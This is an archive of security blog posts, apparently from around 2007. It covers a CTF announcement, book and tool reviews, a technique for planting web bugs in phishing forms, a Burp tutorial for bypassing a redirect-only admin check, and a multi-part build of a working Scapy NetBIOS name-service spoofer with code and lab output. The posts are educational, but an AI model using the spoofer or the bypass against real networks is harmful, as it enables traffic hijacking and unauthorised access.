That’s right, a wargame at a LAN party!

I have been invited to run a hacking wargame at Lanwar, one of the oldest and most successful recurring LAN parties for gamers. This wargame will be held on an isolated network at Lanwar 40, and will allow the gamers who attend to try their hand at something a little different than what they’re used to. Hopefully it will keep people from screwing up the main Lanwar network as well ;) . This will definitely be an interesting experience for all involved.

This will be a (considerably different) adaptation of the CTF we run at the end of each semester of the security class here at Mississippi State. For the Red Team Challenge at Lanwar 40, there will be a web-based scoring system, where participants may deposit “flag” strings that they find on the various systems that they are attacking. There’s a handful of rules to keep things fair and to prevent the players from completely obliterating each other, but for the most part, they can play around, do whatever they like, have fun, and hopefully learn something.

The challenge is open to anyone registered for Lanwar 40, and will run between the opening of Lanwar (or shortly thereafter) and noon the next day. I’m hoping to have at least a few insomniac participantss beating on the network throughout the night. More details about the event are available in this thread on the Lanwar forums.

I’ll post interesting observations and results during and after the challenge, so stay tuned!

 
  • The Shellcoder’s Handbook, Discovering and Exploiting Security Holes, Second Edition
    • Chris Anley, John Heasman, Felix “FX” Linder, Gerardo Rircharte

    • Wiley Publishing
    • Released August 2007
    • 717 pages
    • ISBN: 978-0-470-08023-8

The $50 cover price of “The Shellcoder’s Handbook” is a real bargain, in the hands of a motivated self-learner, compared with the cost of equivalent training. The real cost of this book, will be in the time and effort you will need to apply for it to really sink in. This is what I discovered when I sat down to read this book: What you get out of it is a function of what you put in. Reading and reviewing this book took much longer than I had expected, but I can say that I really enjoyed it.

This is a book that expects a lot out of the reader, but it turns out to be very rewarding. I would recommend becoming comfortable with reading, writing, and debugging both C and assembly before taking on The Shellcoder’s Handbook. Readers should not expect to progress quickly either. For the concepts to really sink in, some experimentation and following-along is required. Even though the book contains more than 700 pages, it’s not exhaustive, so the references to papers, sites, and documentation are worth taking some time away from the book to follow. In exchange for all of this work, however, the reader is treated to learning a set of skills in a way that can help them follow along with the vulnerabilities disclosed and exploits published every day on lists like Full-Disclosure and sites like milw0rm.

The range of topics is vast. The introductory chapters cover the basics: stack overflows, developing shellcode, format string vulnerabilities, and heap overflows. After this, the pace quickly ramps up, covering exploit development on Windows, Solaris, OS X, and Cisco IOS (the latter two are new to this edition). Workarounds for various stack and heap protection methods are presented, and there are several chapters on the vulnerability discovery and exploit development process. These chapters include discussion on automated discovery through fuzzing, source code auditing, and reverse engineering. I found it useful to skim these chapters before reading some of the material in previous chapters, to keep the larger picture in my mind. Finishing up the book, there are a handful of “Advanced Materials” chapters that have some very interesting examples of different exploit payloads and discussion of kernel vulnerabilities.

While the book does present a lot of great topics to the reader, it does have some problems. In many examples, especially in introductory chapters, it would have helped to have had more information on what distribution and version of Linux had been used. At one point, Redhat 9 was mentioned for an example, although it must have been a custom kernel, as the default kernel from Redhat had a (admittedly simple) form of stack randomization that could not be turned off. I managed to get most examples working in Ubuntu 7.04, after turning off va_randomize, and playing with compiler options. Some simple googling of problems you run into, and taking good notes, will help on this.

While there are fewer errors than I remember there being in the first edition, there are still some that are likely to trip up or confuse the reader that is trying to work through every example. Table 4-1 on writing data with format string exploits comes to mind as a head-scratcher, and a program presented in the same chapter handles command-line arguments in a way that’s different from the examples that use it. Most problems seem to come from attempts to fix errors in the first edition, leaving some references to older material. It is a good exercise (and not impossibly hard) for the reader to do some research and experimentation to work through these errors, but some might find it frustrating. I can only imagine how difficult it must be to do a review of the technical accuracy of such a long book presenting so many in-depth topics.

To sum it up, despite minor issues, The Shellcoder’s Handbook is a must-have. it’s one of the few books on the topic of vulnerability discovery and exploit development, and I would say that it’s the best. If you’re already pretty good at this stuff, I would recommend taking a look at the table of contents, as I bet there’s something in the more advanced material that you would be interested in. If you already have the first edition, there is new content and some “bugfixes”, but it’s not as much of a slam dunk as it would be if you didn’t already have the first one. Take a look at it in a bookstore before buying it to see if it meets your expectations for buying it again. Anyone picking this up needs to be sure they’re ready to put some time and effort into it, and willing to put it down on occasion in order to do some reading and research on background material.

Personally, I love it. Even after reading it for this review, there are plenty of things I need to go back and get a better understanding of, experiment with, and try to get more comfortable with. It’ll have a permanent spot on my shelf as one of my favorite computer security books.

 

You might remember an older post here, on the “Ferret” sniffer from Errata Security. You may have even found this blog by looking for information on Ferret. Since Blackhat, my logs show a lot of hits coming from Google searches for Ferret. I suppose they saw the presentation on Hamster and wanted some more information on the older tool.

You might also remember that I wasn’t very kind to Ferret. It was an unimpressive tool with an unimpressive implementation, and didn’t really bring anything new to the table to warrant the attention it was getting. Hamster really isn’t any better. This time, instead of sniffing out passwords for various protocols, it steals session cookies and performs man-in-the-middle attacks.

It’s a powerful demonstration to those who have never seen this sort of attack before, but it’s nothing that kids haven’t been doing with existing tools for years. pdp at gnucitizen has really summed up how I feel about it in his post:

Hamster plus Hotspot equals Web 2.0 meltdown NOT

 

HD Moore has placed the slides online for the talk he and Valsmith gave on “Tactical Exploitation” yesterday at Black Hat. I normally don’t like just reading through the slides for a talk, but until I can obtain some audio/video this’ll definitely do. One of the reasons I don’t like having only the slides is that it’s often hard to follow without narration. That is definitely not the case with these. It’s packed with good ideas for testing the security of an organization, and covers a lot of aspects that make up a good penetration test, rather than simply a vulnerability scan.

This is highly recommended reading!

HD Moore’s conference slides

Direct link to the slides (pdf).

 

I haven’t posted any blog entries in a long time, but I do have a couple of nice ones in the works. This one’s a quickie though, that I’ve pushed through for an immediate post just because it’s so cool :) . I’ll be back on track soon, with more original content and book reviews.

I’ve covered web application testing using proxies (specifically Burp Suite) before, and I do that sort of thing pretty often. It can be a pain, requiring that I have launch Burp and make sure my browser’s proxy settings are set to point at it. Once I’m done, I also have to make sure I set things back, or else the browser will stop working once Burp’s unloaded.

I recently participated in ha.ckers.org’s blackhat challenge (and won a t-shirt!), in which a proxy like this comes in handy. After the contest was over, Ronald van den Heetkamp of http://www.0×000000.com/ posted some help for the others in a comment, and mentioned the Tamperdata extension for Firefox. Investigating it, it seems like it’ll do the trick for a lot of the things I’d normally do with Burp.

Once it’s installed, you can use it to intercept requests and modify the headers/parameters before sending it along to the server. It has a fairly nice interface for it too. It’s not as nice and feature-filled as the Burp Suite (for instance, I don’t think I can intercept and modify server responses with it), so you’ll still want to keep that around. For most quick tests, however, it seems like it’ll be pretty handy. I’ve installed it on my Firefox, and if you do a lot of web application testing using proxies to modify data, you might be able to use this to save some effort too.

 

I’ve posted before about how phishers and others that are on the “other” side of computer security ironically do not practice very good coding techniques. To borrow one of Dave Aitel’s ideas from a few weeks ago, hackers often do not practice very good operational security, since it’s not a good fit with their aggressive nature. The same idea applies equally well (if not better) to phishers. Phishing is a numbers-game for those involved, and when the choice in front of the phishers is between secure software and processes, or spending that time pushing out more emails and sites, the phishers will always pick the latter. It’s hard for them to justify the additional time, when that time could be spent making more money.

A while back, I came up with and experimented with a technique for gaining more information about phishers’ operations. The idea is based off of web bugs that are normally used to track users through emails or web site visits. A classic example of a web bug is an HTML email, containing a reference to 1×1 transparent .GIF file located on the senders’ web server. If the filename of that image is unique to that email, and the recipient’s email client renders the HTML and retrieves the image, then the sender can examine their web server logs to see if and when the recipient opened the email. Not only that, but the web server logs will also indicate the IP address, and possibly some information about the email client or web browser being used.

To apply this to phishing, I simply decided to stuff HTML image tags and links and such into phishing web sites’ forms. The idea is, if the data is being logged to or emailed to any type of system that renders the HTML, there is the possibility that the phishers will inadvertently retrieve the web bugs along with their data. At the very least, they may become curious about the URLs showing up in their data and try to see what’s there. On a lark, I created unique images and stuffed web bugs and links into a few different phishing sites the morning that I came up with the idea. I wound up getting hits back for some of them. So it was a promising idea.

I have passed the idea along to a masters degree student here who is currently working on refining it and collecting larger amounts of data for his thesis. Along the way, I co-authored a paper with him on the topic. He’s working on automating it and such now, however I still play with the idea from time to time.

Last night I received a phishing email that targeted Runescape (an MMORPG) players. This outside of the norm of what I usually receive, so I figured it would be fun to try baiting it with some web bugs. I set up a unique-URL image (a small McGrew Security logo, lol), and php redirecting page, and then set about baiting the site. The following images show the forms on this Runescape phishing site:




Maybe they didn’t design that with Firefox in mind. As I said, phishers can be very sloppy ;) . At any rate, to stuff the appropriate image and link tags in, we can’t simply use the stock web browser, as they have the forms set to limit the number of characters input into each field (chances are, their server-side code doesn’t check these bounds). We wouldn’t be able to fit the whole tag and URL into them normally. There are extensions for firefox that allow you to remove such restrictions in a page, but since I’ve already covered the Burp Suite proxy in a previous blog entry, I’ll just use it:

The same technique is applied to the second page’s worth of forms, alternating between putting an image tag that will render automatically (if all goes well) and links (which a curious phisher might decide to click on). You then pass it all along through Burp, and sit back and wait, grepping through your web logs for someone accessing those URLs.

About 3 hours later, I had a hit!


82.135.214.208 - - [30/Apr/2007:02:22:25 -0400] "GET /XXXXXXXXXXXXXX HTTP/1.1" 200 2354 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; MEGAUPLOAD 1.0)"

So, from this alone we get a few bits of information:

  • IP Address – (Where is it? Is it a proxy? More on this in a bit, read on!)
  • Date – (Response time)
  • User Agent – IE 6 on a Windows XP machine. Apparently they either have a MegaUpload account or have added “MEGAUPLOAD 1.0″ to their user agent string in order to make MegaUpload think they have an account. Either way this unique bit makes it more likely that I’d be able to pick this host out of the logs if it were to come back to this site as another IP address.

Back to the IP address, it reverse DNS’s to “82-135-214-208.ip.zebra.lt”, and is in Lithuania. If you do a google search for the IP address in quotes (a similar technique as what my YaSweep/GooSweep app uses for larger ranges), you’ll see that it has been used for phishing and spamming in the past. Project Honeypot has a very informative page on it. Looking back at the email that I received originally, it turns out it was sent from the same IP address.

Poking at the host a bit indicates that it’s likely a Linux machine, with what appears to be a tcpwrapped proxy. The Windows user agent coming from a Linux machine also indicates that it is a proxy, and it’s apparently not an open one. It’s a machine that is, one way or another, under the control of the phisher and used to anonymize their actions. That’s at least something this attacker did well for themselves to do. Many phishers view their resulting data on their own computers, unproxied, and will give away their actual workstation’s IP address, if their procedure is vulnerable to this kind of attack.

So there you have it! Information gathering on phishers/blackhats. It’s a fun concept. It would be very interesting to extend it to include javascript, and other attacks on the different ways phishing data is processed.

 

You might recall that a month ago, I gave a lecture on web security to the “Distributed Client-Server Programming” class taught here at Mississippi State University. The goal was to give them a heads-up on what mistakes are commonly made by web developers, so they could try and avoid them while developing their final group projects. Yesterday and today, I have been sitting in on their final presentations, and (playfully) tinkering with their sites as they demonstrate them. They’ve definitely tried hard to work security into their projects, and it’s been interesting to play around and show off how things can go wrong.

They’re definitely learning a lot too, because one of the students actually pointed out the vulnerability I’m going to describe here before I found it :) . I thought it was a neat opportunity to show off how to attack bad access controls, so I decided to make this post about it as a tutorial on how to use PortSwigger’s excellent Burp Suite to bypass things like this. I’ve even set up a page on my site here that you can try it on :) .

The original student team’s project had two interfaces, the user’s interface, at $baseURL, and an admin interface at $baseURL/admin . When the user logged in, it would send them to the appropriate interface, based on the “admin” flag the user set in the database. To prevent normal users from going into the admin interface, the following code is used for all admin pages:

This lets the web browser know that it should head back to $baseURL. The problem is, that the php code/page just keeps on going: parsing parameters, sending the interface, and all the things that it would do for a real admin. A well-behaved web browser honors the “location:” in the header, however, and doesn’t render anything below. Unfortunately attackers aren’t well-behaved…

To show off how to beat this, I’ve set up this page for you to play with. Open it up in a new tab, and you’ll see that it uses “location:” to send you straight back to the root page of this site. Here’s the code:

Now, the page does get to the “You’re not supposed to be here, lol” part, it simply doesn’t get a chance to render. To see it, we’ll have to take the “location:” part of the header out. We’ll do this with Burp Suite, so go ahead and get a Java VM on your machine if you haven’t already, download Burp, and get it running.

Burp acts as a web proxy, and allows you to intercept requests and responses, and then modify them before they’re sent along to the server or client. This is very handy stuff for attacking web applications. Once you have it up and running, change your web browser’s proxy settings to use it:

Burp is already set up to intercept client requests, but you’ll need to turn on the functionality for intercepting server responses in the “Options” tab under “proxy”, in the “server responses” section. Check the “intercept if:” box here:

Now, go back to the “intercept” tab, and open this in a new tab again. Your web browser will just sit there (if you’ve got it all set up right), while the request has been intercepted by Burp:

Go ahead and click “forward” here. In this case, there’s not much to see in the request, but a lot of the times when using Burp on web apps, you’ll be changing things before forwarding along. Now, it should intercept the server’s response:

Notice that the whole page got sent (complete with the typo on the closing h tag that I just noticed, lol oh well). Also notice, in the header, the line “Location: http://mcgrewsecurity.com/”. This is what’s making your browser jump to another location, rather than display the page, so just highlight it and cut it out. The response should look like this after your modification:

Now, go ahead and click “forward”, and it’ll send the page along to your browser. There you go :) :

Note that even though we had to do some trickery to get the page to display, if it actually processed any POST/GET parameters (as admin pages tend to do), it would do so in this case, regardless of whether or not the browser redirected. All the attacker would have to do is supply the correct parameters. Burp makes things like this a breeze :) .

I’ve never personally seen a system that did access control like this, but when this was pointed out to me, I thought it was interesting and educational enough to share :) . Definitely something to look out for, and maybe if you haven’t used the Burp Suite before, you’ve got a nice new tool to play around with.

 

Sometimes you just can’t help yourself but to poke at a phishing site…

So it isn’t that impressive, through a POST’d variable, but it is kinda funny. It brings up the point that attack tools, exploits, schemes, and systems have vulnerabilities just like “legitimate” software. Just because they’re in the field of security (on the wrong side) doesn’t mean they write secure code ;) .

It’s a situation where there’s a return-on-investment for the effort put into the creation of, say, a phishing site. Spending more time making the phishing site more robust doesn’t make any more people fall for it and doesn’t bring in more money. For this reason, that time isn’t invested.

 

This is the third and final post of a short series that demonstrate the creation of a simple security/penetration-testing application. The end-result is a simple NetBIOS Name Service spoofer, written in Python.

If you’re enjoying the packet analysis aspects of this, you might be interested in the SANS IP Packet Analysis course I’ll be teaching soon

In the previous post, we got nbnspoof to the point that it could sniff NetBIOS Name Service (NBNS) queries and responses, as well as a basic framework for the rest of the application. Today, I’m going to cover the additional steps we can take to make nbnspoof actually recognize when it should spoof a response, and craft the necessary packet to make the victim associate a given name with an IP address of our choice. This should conclude this series for the most part (although I may revisit it later if something interesting comes up).

If you want to follow along with the code, or just want to go ahead and start using nbnspoof (it’s in pretty good shape right now), here’s the current code:

First, let’s discuss some of the changes that were made to the last entry’s code. Most notable is the fact that we’ve changed some of the variables to be global:

global verbose
global regexp
global ip
global interface
global mac_addr

The reason for this change is that our get_packet() function will need to use this information, however the sniff() function does not pass the above data to get_packet() as an argument. The easiest solution to this was to simply make these user-specified options global. You’ll notice the addition of the “mac_addr” variable. This is meant to specify what MAC address the spoofed responses should have their source set as. There is also a command-line option added for this, and the usage() text reflects this:

-m The source MAC address for spoofed responses

I have decided to make this a required option, rather than defaulting to the actual MAC address of the interface. I believe that if one wants to use the actual MAC address, that should be a conscious decision. Typically, you would want this to reflect the address of the host on the local network that you are directing the victim to with your spoofing (if it is on the local network) or perhaps the gateway (if it’s outside the local network).

You’ll remember from the previous post that Scapy was dissecting NBNS responses as queries with some raw data stuck on the end. Because of this, we’ll be doing the packing and unpacking of IP addresses for responses ourselves. Here’s the code for that:

def pack_ip(addr):
   temp = IP(src=addr)
   return str(temp)[0x0c:0x10]

def unpack_ip(bin):
   temp = IP()
   temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
   temp = IP(temp)
   return temp.src

You’ll notice that these two functions leverage Scapy’s ability to pack and unpack IP addresses by crafting an IP packet in memory and setting or reading its source address. This wouldn’t have been hard to do ourselves (it’s just four bytes, each representing a number in the dotted-quad format), but it seems cleaner to let Scapy do it for us, even if it is a bit of a hack. It’s nice how Scapy can go back and forth between using attributes of packets and binary string representations so easily. One benefit of this is that if, for whatever reason, one wanted to supply a domain name instead of an IP address for the -h option, Scapy would do the lookup and conversion to IP address for us.

Another issue we glossed over yesterday was how we were going to match queries with the regular expression the user provides. We compile the regular expression in main() so we don’t have to do it for each query:

 regexp = re.compile(name_regexp,re.IGNORECASE)

Note that, since NetBIOS names are always going to be uppercase, we have specified the IGNORECASE option, so that the user-supplied regular expressions are case-insensitive. In our get_packet() function, we kick off the code block to craft fake NBNS responses with this test:

   if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1):

The .rstrip() function of strings in Python removes the trailing whitespace (remember that the names in NBNS packets are padded out to 15 characters). So, if the current packet is a query, and matches the regexp the user provided, we can move on to crafting and sending a response:

      response  = Ether(dst=pkt.src,src=mac_addr)
      response /= IP(dst=pkt.getlayer(IP).src,src=ip)
      response /= UDP(sport=137,dport=137)

One neat thing about Scapy is that it overloads the division operator (‘/’) for packets to make it a sort of concatenation/layering operator. Here we craft our response packet by giving it an Ethernet header, then tacking IP and UDP headers onto the end of it. The destination MAC and IP addresses are set to the source of the sniffed packet, and the source MAC and IP are set to the information supplied by the user. Next, we get into the creation of the NBNS section of the packet, starting with the information that Scapy can deal with:

response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
                                  FLAGS=0x8500,\
                                  QDCOUNT=0,\
                                  ANCOUNT=1,\
                                  NSCOUNT=0,\
                                  ARCOUNT=0,\
                                  QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
                                  SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
                                  NULL=0,\
                                  QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
                                  QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)

This monster function call adds in a “NBNSQueryRequest” layer, and the arguments specify all the information needed to make this into a response. You’ll notice that the options we’re setting to actual values, we’re using the values from the response packet we sniffed in the first part of this series. The other options are being set from the corresponding information from the sniffed request, such as the transaction ID and name. An NBNS response requires some more data than just this, and Scapy won’t handle the rest for us, so we’ll add it to the packet as a “Raw” payload and pack it in ourselves:

response /= Raw()
# Time to live: 3 days, 11 hours, 20 minutes
response.getlayer(Raw).load += '\\x00\\x04\\x93\\xe0'
# Data length: 6
response.getlayer(Raw).load += '\\x00\\x06'
# Flags: (B-node, unique)
response.getlayer(Raw).load += '\\x00\\x00'
# The IP we're giving them:
response.getlayer(Raw).load += pack_ip(ip)

I’ve separated this part out by field, and commented them based on how they’re named in Wireshark’s dissection, so that it’s not just one incomprehensible string of data. Something you want to pay attention to is that “Time to Live” field. I’m not sure how long Windows will really let you cache one of these responses, but this would be something to modify if you’re into playing around with this script. The time that’s hard-coded seems to be what Windows XP likes to hand out with its responses, though.

Finally, after packing in the last field, which is the IP address we’re making the name resolve to, we send the packet on its way:

      sendp(response,iface=interface,verbose=0)
      if verbose:
         print 'Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID)

We specify the interface, and tell it to silence sendp’s visual confirmation of packet sending. If the user wanted verbose output, we print out a message saying that we spoofed a reply to the request with a specific transaction ID. The response we sent will be picked up by sniff() as well, so it will be displayed with a dissection as well in verbose mode.

That’s it! It works! Let’s see how it looks when we run it:

$ sudo ./nbnspoof.py -v -i vmnet8 -n ".*\..*" -h 172.16.185.1 -m 00:0c:29:27:be:ef
32949: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"HELLO.WOR      "
Sent spoofed reply to #32949
32949: R SRC:172.16.185.1 DST:172.16.185.133 NAME:"HELLO.WOR      " IP:172.16.185.1
32950: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"XPPROTEST2     "
32950: R SRC:172.16.185.132 DST:172.16.185.133 NAME:"XPPROTEST2     " IP:172.16.185.132

In this test run, on the VMWare network between the host Linux machine (172.16.185.1) and the two Windows VMs (.132 and .133), I ran nbnspoof in verbose mode, set with a regular expression to only spoof responses for names that contain a period (‘.’). This is a quick-hack way of catching mistyped domain names and such, while letting most legitimate request local network systems go. I specified the Linux host for the IP address, and a silly MAC address with a VMWare vendor prefix. From “xpprotest”, I first pinged “hello.wor” which nbnspoof matched and spoofed for me, and then I pinged “xpprotest2″ which is (correctly) ignored.

So that settles it. We now have a nice tool for demonstrating how Windows name resolution can be spoofed in certain situations. More importantly, I hope some people have learned a bit about Scapy and the sort of procedure one might follow in developing a simple penetration testing application like this. Hopefully, this will be something you can apply to many situations :) .

 

While I was sleeping off the cyber-defense competition and spending some time with my wife over spring break, the security scene kept moving, of course. Yesterday, a friend of mine pasted me a link to an interesting attack. Interesting, in that it’s simple, obvious, and the sort of thing you kick yourself in the butt for not thinking of trying before.

Here is the blog entry by Sumit Siddharth, with a link to a more detailed writeup. It’s simple enough that the writeup is one page :) . The basic idea is that if a Windows host can’t find a domain name’s IP address by local information, DNS, or WINS, the next step is to look for it with a NetBIOS Name Service request (assuming that they have NetBIOS over TCP/IP enabled)..

These NBNS requests are sent out as broadcast UDP, and are just begging to have crafted responses sent back. So, if someone on the local network fat-fingered and tried to go to “example.cpm”, rather than “example.com”, Windows would wind up giving the local network a shot at it with NBNS. At this point, all the attacker has to do is send a response back with “oh yes, thank you, EXAMPLE.CPM is at [attacker-controlled ip]“.

How easy is that! I was aware of this behavior, as I have often observed it on networks when the uplink (and DNS server) is out of commission. Clients’ web browsers, email clients, spyware, and whatever else make Windows pump out NBNS requests for GMAIL.COM, POP.EXAMPLE.COM, WEATHERBUG.COM and the like. It never occurred to me to try and craft a response, so it’s a huge “duh” moment for me right now. I suppose I was always too annoyed at the network taking a dive than to think carefully about what I was seeing ;) .

So there’s a lesson learned: Every bit of unexpected behavior is a potential vector for a new attack.

There’s a link in the article to a tool, FakeNetbiosNS, which seems OK, although I’m pretty sure I’d rather write my own, using Scapy. This should make things very simple and allow me to work the results into just about any other kind of app I hack together in Python. So, I’m planning on doing just that, and as a bonus, if it goes well, I plan on documenting the development of it in some blog entries. I think it’d be helpful to some to see the process of creating a really simple tool from start to finish.

© 2012 McGrew Security Suffusion theme by Sayontan Sinha